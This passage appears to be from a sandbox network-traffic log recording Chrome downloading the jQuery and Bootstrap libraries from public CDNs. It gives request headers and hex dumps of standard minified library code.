o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._d
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d Data Ascii: }if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 Data Ascii: EAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".a
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 Data Ascii: ll),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];v
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 Data Ascii: test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirecti
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 Data Ascii: get:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 Data Ascii: t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49738	151.101.2.137	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	630	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 19 Apr 2024 14:56:18 GMT Age: 1008711 X-Served-By: cache-lga21963-LGA, cache-pdk-kfty2130020-PDK X-Cache: HIT, HIT X-Cache-Hits: 6, 3 X-Timer: S1713538579.920744,VS0,VE0 Vary: Accept-Encoding
2024-04-19 14:56:18 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-19 14:56:19 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-04-19 14:56:19 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-04-19 14:56:19 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-04-19 14:56:19 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49747	104.18.11.207	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	652	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	947	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 3774277 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 876dbd970b3953fd-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:19 UTC	422	IN	Data Raw: 37 62 66 65 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bfe/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c Data Ascii: uery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b 74 Data Ascii: Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: rguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 62 Data Ascii: w _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="b
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 